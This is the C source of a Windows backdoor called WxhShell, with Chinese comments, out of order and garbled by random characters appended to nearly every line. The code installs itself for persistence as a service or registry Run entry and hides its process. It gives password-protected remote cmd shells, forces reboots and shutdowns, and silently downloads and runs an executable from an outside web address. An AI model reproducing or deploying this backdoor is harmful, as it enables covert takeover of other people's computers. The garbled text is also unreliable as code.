    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "lz[zFnO  
    if(Boot(SHUTDOWN)) cPsn]U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '&:1?i)  
    else { ^M"z1B]  
    closesocket(wsh); bk"k&.C^+  
    ExitThread(0); 15KV} ){  
    } M&/aJRBS  
    break; BCUt`;q ]B  
    } BBR" HMa4  
  // 获取shell ,ah*!Zm.kk  
  case 's': { Mp"'?zf  
    CmdShell(wsh); ct}%Mdg  
    closesocket(wsh); qJ+52U|z  
    ExitThread(0); (;pi"/x[  
    break; M ?xpwqu\  
  } PN"8 Y  
  // 退出 ,{{#a*nd  
  case 'x': { y (nsyA  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3<Z'F}lg  
    CloseIt(wsh); AwXt @!(  
    break; !Wixs]od   
    } + sywgb)  
  // 离开 UM( l%  
  case 'q': { jc&/}o$K  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }\f(qw  
    closesocket(wsh); G_M:0YI@  
    WSACleanup(); QGr\I/Y  
    exit(1); Q:kVCm/;  
    break; i&pJg1  
        } 6b ]1d04hT  
  } ZEj!jWP2m  
  } /MKNv'5&!%  
0SMQDs5j  
  // 提示信息 ]A]Ft!`6z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n^AP"1l8?0  
} 7"F|6JP"$c  
  } @q+cm JKv  
j&dx[4|m:h  
  return; vS$oT]-hKE  
} sB( `[5I  
s[3![ "^Y  
// shell模块句柄 3WCqKXJ7  
int CmdShell(SOCKET sock) jF2[bzY4  
{ B6ed,($&  
STARTUPINFO si; g=xv+e  
ZeroMemory(&si,sizeof(si)); au~]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -VWCD,c  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =_8 UZk.  
PROCESS_INFORMATION ProcessInfo; _,_8X7  
char cmdline[]="cmd"; X a"XB  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); AhvvuN$n%  
  return 0; lk_s!<ni  
} X'FEOF  
.]j#y9>&w%  
// 自身启动模式 7|QGY7Tf  
int StartFromService(void) 5#0A`QO   
{ 0R@g(  
typedef struct #vj#! 1  
{ $ZI~8rI~  
  DWORD ExitStatus; G@!_ZM8h  
  DWORD PebBaseAddress; g\o{}Q%X  
  DWORD AffinityMask; .-SF$U_P*a  
  DWORD BasePriority; N7*CP|?E  
  ULONG UniqueProcessId; ]*2EK9<  
  ULONG InheritedFromUniqueProcessId; h L]8e>a?  
}   PROCESS_BASIC_INFORMATION; z;dcAdz9  
k,,!P""  
PROCNTQSIP NtQueryInformationProcess; 731h ~x!u  
IXZ(]&we  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z|ZBKcmg  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; XogvtK*  
wJ+U[a  
  HANDLE             hProcess; Ap]4QqU  
  PROCESS_BASIC_INFORMATION pbi; x.b; +p}=  
$ViojW>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4}Q O!(  
  if(NULL == hInst ) return 0; '7xxCj/*  
':l"mkd+`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); f?%qUD_#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `'p`PyMt`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); k> b&xM!  
-3.UE^W2  
  if (!NtQueryInformationProcess) return 0; uAu( +zV2  
$gVLk.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %z*29iKlI  
  if(!hProcess) return 0; )A="eW_>  
v%lv8Lar'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $sEB'>:  
?"{QK:`  
  CloseHandle(hProcess); PZys  u  
L5Urg*GNL  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); - <J q  
if(hProcess==NULL) return 0; 4~O6$;!|~  
m@ i2#  
HMODULE hMod; hPa n  
char procName[255]; 0VzXDb>`  
unsigned long cbNeeded; nQ5N=l  
WP5VcBC  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Bv^+d\*1  
Z^s+vi  
  CloseHandle(hProcess); 3->,So0Y  
y7/PDB\he  
if(strstr(procName,"services")) return 1; // 以服务启动 QU:EY'2  
pT4qPta,2  
  return 0; // 注册表启动 Ptx,2e&Hq  
} [%)@|^hw91  
* [tc  
// 主模块 6|,e%  
int StartWxhshell(LPSTR lpCmdLine) <tFSF%vG=  
{ pd d|n2q  
  SOCKET wsl; 1Gsw-a;a  
BOOL val=TRUE; !:(C"}5wM  
  int port=0; np\st7&f6  
  struct sockaddr_in door; dCE\^q[{  
eGLO!DdxZ  
  if(wscfg.ws_autoins) Install(); U,PZMz`2j  
k, f)2<  
port=atoi(lpCmdLine); oEJaH  
 *p=fi  
if(port<=0) port=wscfg.ws_port; RI-A"cc6A  
}2l O _i}L  
  WSADATA data; ;SgD 5Ln}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &K>cW$h=a  
+UzXN$73  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   AHwG<k  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &i5:)d]L  
  door.sin_family = AF_INET; Yp*,Jp1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); : (gZgMT  
  door.sin_port = htons(port); #+9rjq:v#]  
MY!q%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { SSE3tcRRl  
closesocket(wsl); pprejUR  
return 1; czI{qi5N  
} mj@31YW  
XYjcJ  
  if(listen(wsl,2) == INVALID_SOCKET) { IAf$]Fh  
closesocket(wsl); ~\$=w10  
return 1; AYcgi  
} GM](=|F  
  Wxhshell(wsl); s`"OM^[-  
  WSACleanup(); f')c/Yw  
wepwX y"  
return 0; ob E:kNE9  
Okpwh kPL5  
} q +R*Hi  
9RQU?  
// 以NT服务方式启动 Gzw@w{JBL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) A:eFd]E{(  
{ PL@~Ys0  
DWORD   status = 0; iU5P$7.p  
  DWORD   specificError = 0xfffffff; bDDqaO ,8  
zOB !(R  
  serviceStatus.dwServiceType     = SERVICE_WIN32; gE\b 982  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; RvyuGU  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O~27/  
  serviceStatus.dwWin32ExitCode     = 0; QdDObqVdy  
  serviceStatus.dwServiceSpecificExitCode = 0; o@9+mM"B)  
  serviceStatus.dwCheckPoint       = 0; xYI;V7  
  serviceStatus.dwWaitHint       = 0; x? N.WABr;  
n!G.At'JP  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |O-`5_z$r  
  if (hServiceStatusHandle==0) return; ZqQ*}l5  
wK ?@.l)u  
status = GetLastError(); Q".g.k  
  if (status!=NO_ERROR) @4drjT  
{ Z\Z,,g+WL  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *YtB )6j  
    serviceStatus.dwCheckPoint       = 0; Q(Gyq:L=>  
    serviceStatus.dwWaitHint       = 0; ([R")~`(l2  
    serviceStatus.dwWin32ExitCode     = status; _({@B`N}  
    serviceStatus.dwServiceSpecificExitCode = specificError; zBY~lNB  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @'i+ff\  
    return; T|;@ T^  
  } {~N3D4n^  
Hz@h0+h  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; IkDiT63]I  
  serviceStatus.dwCheckPoint       = 0; ;~+]! U  
  serviceStatus.dwWaitHint       = 0; lpy:3`ti  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); bb;(gK;F  
} bO3GVc+S  
dU]/$7  
// 处理NT服务事件,比如:启动、停止 H(|AH;?ou  
VOID WINAPI NTServiceHandler(DWORD fdwControl) OQp, 3 M{_  
{ +-BwQ{92[:  
switch(fdwControl) L0Y0&;y|R  
{ Fi2xr<7"  
case SERVICE_CONTROL_STOP: 2-dh;[4  
  serviceStatus.dwWin32ExitCode = 0; $DebXxJw0l  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4w4^yQE  
  serviceStatus.dwCheckPoint   = 0; + P7o4]:/  
  serviceStatus.dwWaitHint     = 0; 7 [d ?  
  { ~_>cM c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V.6)0fKZW  
  } hJ*Ihwn|  
  return; ObG=>WPJa  
case SERVICE_CONTROL_PAUSE: j6S"UwJjp  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; q0&$7GH4  
  break; G:IP? z]  
case SERVICE_CONTROL_CONTINUE: j1*f]va  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Pbn!KX~F~  
  break; W:`#% :C  
case SERVICE_CONTROL_INTERROGATE: @gY\;[#.  
  break; tY+$$GSQj  
}; hmC*^"C>U=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); lnh+a7a)  
} 'yY>as  
'<dgT&8C  
// 标准应用程序主函数 R)5n 8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^/@jwZ  
{ w1 `QIv  
$f$|6jM  
// 获取操作系统版本 sy/nESZs  
OsIsNt=GetOsVer(); 0uvzxmN  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8wK ~ i  
}%TPYc  
  // 从命令行安装 Lrd[O v  
  if(strpbrk(lpCmdLine,"iI")) Install(); /<Ld'J  
i47j lyH  
  // 下载执行文件 =0 qpVFvU  
if(wscfg.ws_downexe) { {"S6\%=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) H8{ol6wc)6  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]:ZdV9`  
} upy\gkpnGO  
//f  
if(!OsIsNt) { t2>fmQIQ  
// 如果时win9x,隐藏进程并且设置为注册表启动 7Nzbz3  
HideProc(); % 0T+t.  
StartWxhshell(lpCmdLine); #_i`#d)  
} #8XL :I  
else k@dN$O%p  
  if(StartFromService()) 7f{=w, U  
  // 以服务方式启动 \ZI'|Ad  
  StartServiceCtrlDispatcher(DispatchTable); ;# uZhd  
else 5!X1G8h)uy  
  // 普通方式启动 O|kOI?f  
  StartWxhshell(lpCmdLine); 9?<{_'  
aUU7{o_Z  
return 0; fCWGAO2  
} )h{ ]k=  
QDx$==Fo  
)e|=mtp  
Q~{H@D`<  
=========================================== =u[k1s?  
Wb}c=hZv  
yQNV@T<o  
P"/G  
IZ/m4~  
8s{?v &p  
" d5`3wd]]'v  
lQ'GX9hN@  
#include <stdio.h> '' O7=\  
#include <string.h> dG7OqA:9  
#include <windows.h> g%[c<l9  
#include <winsock2.h> #_93f |  
#include <winsvc.h> G<|8?6bq#  
#include <urlmon.h> Gh.[dF?  
7*5Z  
#pragma comment (lib, "Ws2_32.lib") /U&Opo {aO  
#pragma comment (lib, "urlmon.lib") 9h4({EE2t  
aJ") <_+  
#define MAX_USER   100 // 最大客户端连接数 ~*A8+@ \R  
#define BUF_SOCK   200 // sock buffer 4)|8Eu[p7  
#define KEY_BUFF   255 // 输入 buffer phnV7D(E  
VHJM*&5  
#define REBOOT     0   // 重启 -h|B1*mt  
#define SHUTDOWN   1   // 关机 !8NC# s  
G 0%6ch^%  
#define DEF_PORT   5000 // 监听端口 ",7Q   
*!s;"U  
#define REG_LEN     16   // 注册表键长度 i.D3'l  
#define SVC_LEN     80   // NT服务名长度 aI^/X {d  
}G4 z tiuG  
// 从dll定义API *t[. =_v  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); E :9"cxx  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #S&Tkip]"W  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /DQaGq/Ld  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); E;JsBH  
+LM#n#T  
// wxhshell配置信息 bef_rH@`  
struct WSCFG { Oy U  
  int ws_port;         // 监听端口 ~T&<CTh  
  char ws_passstr[REG_LEN]; // 口令 l&iq5}[n&  
  int ws_autoins;       // 安装标记, 1=yes 0=no s7Ub@  
  char ws_regname[REG_LEN]; // 注册表键名 6f')6X'x  
  char ws_svcname[REG_LEN]; // 服务名 "#[!/\=?:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 MjlP+; !  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $YN6<5R)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ),G=s Oo  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  #wL  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ])xx<5Jt4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 P:30L'.=[  
5?hw !  
}; %?e& WLS  
N(I&  
// default Wxhshell configuration %3NqSiMs  
struct WSCFG wscfg={DEF_PORT, <B9C*M"4%  
    "xuhuanlingzhe", *s9C!w YMZ  
    1, 8!Vl   
    "Wxhshell", BZ zrRC  
    "Wxhshell", &?mD$Eo  
            "WxhShell Service", Ty vtmx M  
    "Wrsky Windows CmdShell Service", ?c[*:N(  
    "Please Input Your Password: ", o.0ci+z@  
  1, WI?oSE w  
  "http://www.wrsky.com/wxhshell.exe", O8B\{T1  
  "Wxhshell.exe" uV!^,,~  
    }; #Q2Y&2`yGT  
ma"3qGy  
// 消息定义模块 8 7D*-Gw  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; G6T_O  
char *msg_ws_prompt="\n\r? for help\n\r#>"; xuqv6b.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vI>>\ .ED  
char *msg_ws_ext="\n\rExit."; .zi_[  
char *msg_ws_end="\n\rQuit.";  o4|M0  
char *msg_ws_boot="\n\rReboot..."; !o:f$6EA~C  
char *msg_ws_poff="\n\rShutdown..."; ]H`1F1=  
char *msg_ws_down="\n\rSave to "; 6@rMtQfI  
XUz3*rfs  
char *msg_ws_err="\n\rErr!"; bD/~eIcWL  
char *msg_ws_ok="\n\rOK!"; 5H*\t 7  
TWA-.>c  
char ExeFile[MAX_PATH]; mIK7p6  
int nUser = 0; YB-h.1T-  
HANDLE handles[MAX_USER]; BO;6 u^[  
int OsIsNt; 9I}-[|`u  
Wf|Q$MHos  
SERVICE_STATUS       serviceStatus; gIjh:_ Pz  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7@D@ucL  
 #"@|f  
// 函数声明 *MKO I'  
int Install(void); IZpP[hov  
int Uninstall(void); vEJWFoeEFm  
int DownloadFile(char *sURL, SOCKET wsh); 0cj>mj1M  
int Boot(int flag); e 9;~P}  
void HideProc(void); !@}wDt  
int GetOsVer(void); I}1NB3>^  
int Wxhshell(SOCKET wsl); wOU_*uY@6'  
void TalkWithClient(void *cs); jPUwSIP  
int CmdShell(SOCKET sock); |5lk9<z  
int StartFromService(void); .yz}ROmN^  
int StartWxhshell(LPSTR lpCmdLine); E=nIRG|g  
vSEuk}pk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); y*qVc E  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #d6)#:uss  
{ \81i8b]  
// 数据结构和表定义 o]4*|ARPs  
SERVICE_TABLE_ENTRY DispatchTable[] = ? m DI#~)  
{ E|iQc8gr&  
{wscfg.ws_svcname, NTServiceMain}, F(>Np2oi6  
{NULL, NULL} .+$ Q<L  
}; <3LbN FP  
9Z4nAc  
// 自我安装 RoPRQCE  
int Install(void) 3}}38A|4  
{ I>W=x'PkLn  
  char svExeFile[MAX_PATH]; 6 (]Dh;gC  
  HKEY key; _852H$H\  
  strcpy(svExeFile,ExeFile); EV]1ml k$  
hgPa6Kd  
// 如果是win9x系统,修改注册表设为自启动 fD[*_^;h)  
if(!OsIsNt) { 5IE#\FITO|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZrpU <   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZOh`(})hy  
  RegCloseKey(key); QIG$z?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EJMM9(DQ7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0XE4<U   
  RegCloseKey(key); eA2@Nkw~)  
  return 0; ofm#'7P 0  
    } -|$@-fY;  
  } bCRV\myd`  
} ,E S0NA  
else { C5o#i*|  
>qnko9V  
// 如果是NT以上系统,安装为系统服务 wW>A_{Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); d; boIP`M;  
if (schSCManager!=0) s6 uG`F"  
{ ztcp/1jIvS  
  SC_HANDLE schService = CreateService jeoz* Dz  
  ( (C\]-E>  
  schSCManager, f6hnTbJ  
  wscfg.ws_svcname, +$ 'Zf0U  
  wscfg.ws_svcdisp, &u$Q4  
  SERVICE_ALL_ACCESS, j#!IuH\]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,Vc6Gwm  
  SERVICE_AUTO_START, Tp?7_}tRi  
  SERVICE_ERROR_NORMAL, 6m}Ev95  
  svExeFile, rV` #[d  
  NULL, J,'M4O\S  
  NULL, 'j#*6xD  
  NULL, C0T;![/4A  
  NULL, (KjoSN( K  
  NULL igCZ|Ru\  
  ); W=N+VqK  
  if (schService!=0) 5-:?&|JK;  
  { rBQ_iB_  
  CloseServiceHandle(schService); 3dg1DR;  
  CloseServiceHandle(schSCManager); G#ZH.24Y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <sb~ ^B  
  strcat(svExeFile,wscfg.ws_svcname); }bb;~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { T<n  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /6)<}#  
  RegCloseKey(key); '$i: 2mn,  
  return 0; V'z1  
    } R`NYEptJ  
  } f z'@_4hg  
  CloseServiceHandle(schSCManager); T6\[iJI|  
} h0g8*HY+}  
} KI"#f$2&  
l!D}3jD  
return 1; ~[t[y~Hup  
} zfJT,h-{  
h79}qU  
// 自我卸载 yb<fpM  
int Uninstall(void) y8]B:_iU9  
{ Kg{+T`  
  HKEY key; is?{MJZ_  
?>7[7(|  
if(!OsIsNt) { ROH|PKb7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {:/#Nc$5  
  RegDeleteValue(key,wscfg.ws_regname); IPS4C[v  
  RegCloseKey(key); "{A(x }'Y4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C7]f*TSC4  
  RegDeleteValue(key,wscfg.ws_regname); S\CCrje  
  RegCloseKey(key); /:cd\A}  
  return 0; g@d*\ P)  
  } {i;r  
} M H|Og84  
} #|uCgdi  
else { yl'u'-Zb6  
Ki;*u_4{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); g_;\iqxL  
if (schSCManager!=0) /J]5H  
{ jk;j2YNPw  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1.}d.t  
  if (schService!=0) A @i  
  { tm|ZBM  
  if(DeleteService(schService)!=0) { z<MsKD0Q  
  CloseServiceHandle(schService); 2R[:]-b  
  CloseServiceHandle(schSCManager); $zUP?Gq!  
  return 0; ]_)yIi"  
  } CXH&U@57{  
  CloseServiceHandle(schService); p/ ,=OaVU  
  } ?e%ZOI  
  CloseServiceHandle(schSCManager); lt/1f{v[:  
} p'Y^ X  
} [F+}V,  
'lH|eU&-  
return 1; Ugr!"Q#M  
} 1a/++4O.|  
QFA8N  
// 从指定url下载文件 T~-ycVc  
int DownloadFile(char *sURL, SOCKET wsh) ,<.V7(|t)  
{ P?%s #I:  
  HRESULT hr; +5)nk}  
char seps[]= "/"; xw.A #Zb\_  
char *token; (O\ )_#-D  
char *file; 1 s\Wtw:  
char myURL[MAX_PATH]; zOJ%}  
char myFILE[MAX_PATH]; A@`}c,G  
L7l FtX+b  
strcpy(myURL,sURL); Fw_#N6Q  
  token=strtok(myURL,seps); HVRZ[Y<^  
  while(token!=NULL) Usvl}{L[  
  { d z|or9&  
    file=token; 28-RC>,@}  
  token=strtok(NULL,seps); {$oj.V 4  
  } <NMEGit  
h0EEpL|\  
GetCurrentDirectory(MAX_PATH,myFILE); j/DzCcp7  
strcat(myFILE, "\\"); )+#` CIv  
strcat(myFILE, file); H8=N@l  
  send(wsh,myFILE,strlen(myFILE),0); IW5,7.  
send(wsh,"...",3,0); yWmJ~/*lG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "69s) ~  
  if(hr==S_OK) I^.Om])  
return 0; U4'#T%*  
else Z{*\S0^ST  
return 1; sJKI!   
_;"il%l=1  
} #mxPw  
q])K,)  
// 系统电源模块 }{Pp]*I<A  
int Boot(int flag) -OV&Md:~  
{ gb1V~  
  HANDLE hToken; L;z?a Z7n  
  TOKEN_PRIVILEGES tkp; rSY!vkLE\  
9 ql~q  
  if(OsIsNt) { RH W]Z Pr<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); w7L{_aom  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \  #F  
    tkp.PrivilegeCount = 1; +Ze} B*0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; hPkp;a #  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =IZT(8  
if(flag==REBOOT) { ,)cM3nu  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) L(6d&t'|-R  
  return 0; %uDi#x.  
} gT. sj d  
else { C[cbbp  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [(i  
  return 0; gjyYCjF  
} P\tB~SZ*  
  } >58YjLXb  
  else { [>I<#_^~  
if(flag==REBOOT) { l:~/<`o  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) J3V= 46Yc  
  return 0; fUWG*o9  
} /xBb[44z8  
else { h8q[1"a:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) dlh)gp;  
  return 0; 6GlJ>r+n  
} ^CYl\.Y@  
} Qp5VP@t  
;+R&}[9,A)  
return 1; :LQYo'@yB  
} g/d<Zfq<{  
Vr)S{k-Q  
// win9x进程隐藏模块 EU 6oQ  
void HideProc(void) U+jOTq8M  
{ e*kpdS~U&  
e(&v"}Ef`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Pbn*_/H  
  if ( hKernel != NULL ) x;.Jw 6g  
  { 9.M4o[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ) w5SUb  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *8A  
    FreeLibrary(hKernel); tKuwpT1Qc  
  } Tk[ $5u*,  
oH?b}T=9jz  
return; 9rX&uP)j^#  
} e2Pcm_Ahv*  
D/gw .XYL  
// 获取操作系统版本  Mx?d  
int GetOsVer(void) hh%-(HaLX3  
{ B"w?;EeV.  
  OSVERSIONINFO winfo; a5^] 20Fa  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); sE<V5`Z=  
  GetVersionEx(&winfo); 7aRi5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) p`dU2gV  
  return 1; 2a)xTA#  
  else FX&~\kmV'j  
  return 0; &BLJT9Frx  
} EJ.SW5  
76Cl\rV  
// 客户端句柄模块 :S83vE81WK  
int Wxhshell(SOCKET wsl) Ta0|+IYk<  
{ ?!:ha;n  
  SOCKET wsh; \:'/'^=#|  
  struct sockaddr_in client; {z5--TogJ  
  DWORD myID; r +i($ jMs  
I]t!xA~  
  while(nUser<MAX_USER) {<p?2E  
{ 558V_y:  
  int nSize=sizeof(client); 8'[7 )I=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~W'{p  
  if(wsh==INVALID_SOCKET) return 1; x+:UN'"r  
mDABH@ R  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #G|RnV%t$~  
if(handles[nUser]==0) n,(sBOQ  
  closesocket(wsh); =ho}oL,ZO  
else wssRA?9<  
  nUser++; n)-$e4u2  
  } {6|G@ ""O  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %XDc,AR[  
HZB>{O  
  return 0; P )"m0Lu<  
} 2;`1h[,-^  
b5I I/Y  
// 关闭 socket )9G[dDeC  
void CloseIt(SOCKET wsh) N)|yu1S  
{ {\"x3;3!6  
closesocket(wsh); ^7cGq+t  
nUser--; \ZFGw&yN  
ExitThread(0); KP^V>9q  
} `2WFk8) F  
)[6U^j4  
// 客户端请求句柄 ZY={8T@  
void TalkWithClient(void *cs) <?6|.\&  
{ #U4F0BdA  
Gr'  CtO  
  SOCKET wsh=(SOCKET)cs; X/!o\yyT  
  char pwd[SVC_LEN]; hbDXo:  
  char cmd[KEY_BUFF]; dr}`H,X"3  
char chr[1]; x,+{9  
int i,j; |bHelD|  
-UEZ#Q  
  while (nUser < MAX_USER) { TDKki(o=~  
BLdvyVFx  
if(wscfg.ws_passstr) { ItVWO:x&v  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %6,SKg p  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &X ):4  
  //ZeroMemory(pwd,KEY_BUFF); -H@:*  
      i=0; B\=8_z  
  while(i<SVC_LEN) { P>C~ i:4n  
.Iw AK/QS  
  // 设置超时 drP=A~?&:  
  fd_set FdRead; %QGC8Tz  
  struct timeval TimeOut; m+R[#GE8#  
  FD_ZERO(&FdRead);  .Wj;%|  
  FD_SET(wsh,&FdRead); B$ PP&/  
  TimeOut.tv_sec=8; K~{$oD7!  
  TimeOut.tv_usec=0; AaOu L,l  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F?*-4I-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M61xPq8y5  
=pO^7g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =F~S?y  
  pwd=chr[0]; m|n%$$S&  
  if(chr[0]==0xd || chr[0]==0xa) { X,_2FJv  
  pwd=0; HxV=F66"  
  break; HY*Kb+[  
  } Y@vTaE^w3  
  i++; Nq[uoaT  
    } /QWvW=F2<  
C*_C;6.~Y  
  // 如果是非法用户,关闭 socket 5E;qM|Ns  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .CABH,Po:  
} VcO0sa f`  
61>.vT8P  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )e+>w=t  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^z IW+:  
R6.hA_ih  
while(1) { ci.+pF  
$?Hu#Kn,(  
  ZeroMemory(cmd,KEY_BUFF); 2B[X,rL.pX  
jyUjlYAAv`  
      // 自动支持客户端 telnet标准   9igiZmM  
  j=0; Q800y??&J  
  while(j<KEY_BUFF) { n u[ML  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M*, -zGr  
  cmd[j]=chr[0]; !qh]6%l  
  if(chr[0]==0xa || chr[0]==0xd) { ,{u yG:  
  cmd[j]=0; <I\/n<*  
  break; Uw. `7b>B  
  } wPd3F.<$  
  j++; { ]{/t-=  
    } /<=u\e'rE  
QL&ZjSN  
  // 下载文件 4{U T!WIi  
  if(strstr(cmd,"http://")) { v5#j Z$<F  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); uM IIYS  
  if(DownloadFile(cmd,wsh)) feDlH[$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); t ;;U}  
  else |O|V-f{l  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |!3DPA(_  
